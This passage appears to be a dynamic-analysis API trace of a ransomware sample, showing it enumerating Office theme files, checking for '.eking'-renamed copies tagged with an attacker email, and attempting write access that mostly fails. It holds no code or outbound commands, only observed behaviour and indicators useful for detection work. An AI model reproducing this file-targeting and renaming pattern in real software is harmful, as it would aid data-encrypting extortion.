shared\\themes14\\aftrnoon\\aftrnoon.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.019] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1569) returned 1 [0173.019] CloseHandle (hObject=0x1e4) returned 1 [0173.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 0x20 [0173.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 0x20 [0173.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.021] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=25234) returned 1 [0173.021] CloseHandle (hObject=0x1e8) returned 1 [0173.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0173.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0173.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.022] SetEvent (hEvent=0x174) returned 1 [0173.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0173.533] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=69575) returned 1 [0173.533] CloseHandle (hObject=0x1f0) returned 1 [0173.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm")) returned 0x20 [0173.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm")) returned 0x20 [0173.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.534] SetEvent (hEvent=0x174) returned 1 [0173.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0173.535] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2985) returned 1 [0173.535] CloseHandle (hObject=0x1f0) returned 1 [0173.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0173.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0173.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.536] SetEvent (hEvent=0x174) returned 1 [0173.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0173.537] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=19780) returned 1 [0173.537] CloseHandle (hObject=0x1f0) returned 1 [0173.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0173.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0173.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.537] SetEvent (hEvent=0x174) returned 1 [0173.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0173.538] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=100798) returned 1 [0173.538] CloseHandle (hObject=0x1f0) returned 1 [0173.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm")) returned 0x20 [0173.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm")) returned 0x20 [0173.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.541] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=529) returned 1 [0173.541] CloseHandle (hObject=0x1e4) returned 1 [0173.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf")) returned 0x20 [0173.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf")) returned 0x20 [0173.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.542] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2848) returned 1 [0173.542] CloseHandle (hObject=0x1e4) returned 1 [0173.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0173.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0173.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.543] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=34916) returned 1 [0173.544] CloseHandle (hObject=0x1e4) returned 1 [0173.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0173.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0173.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.545] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=69047) returned 1 [0173.545] CloseHandle (hObject=0x1e4) returned 1 [0173.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm")) returned 0x20 [0173.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm")) returned 0x20 [0173.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.547] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=534) returned 1 [0173.547] CloseHandle (hObject=0x1e4) returned 1 [0173.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf")) returned 0x20 [0173.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf")) returned 0x20 [0173.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.549] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2181) returned 1 [0173.549] CloseHandle (hObject=0x1e4) returned 1 [0173.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0173.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0173.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.551] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=20627) returned 1 [0173.551] CloseHandle (hObject=0x1e4) returned 1 [0173.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0173.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0173.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.552] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=49850) returned 1 [0173.552] CloseHandle (hObject=0x1e4) returned 1 [0173.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm")) returned 0x20 [0173.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm")) returned 0x20 [0173.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.563] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=551) returned 1 [0173.563] CloseHandle (hObject=0x1e4) returned 1 [0173.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf")) returned 0x20 [0173.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf")) returned 0x20 [0173.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program 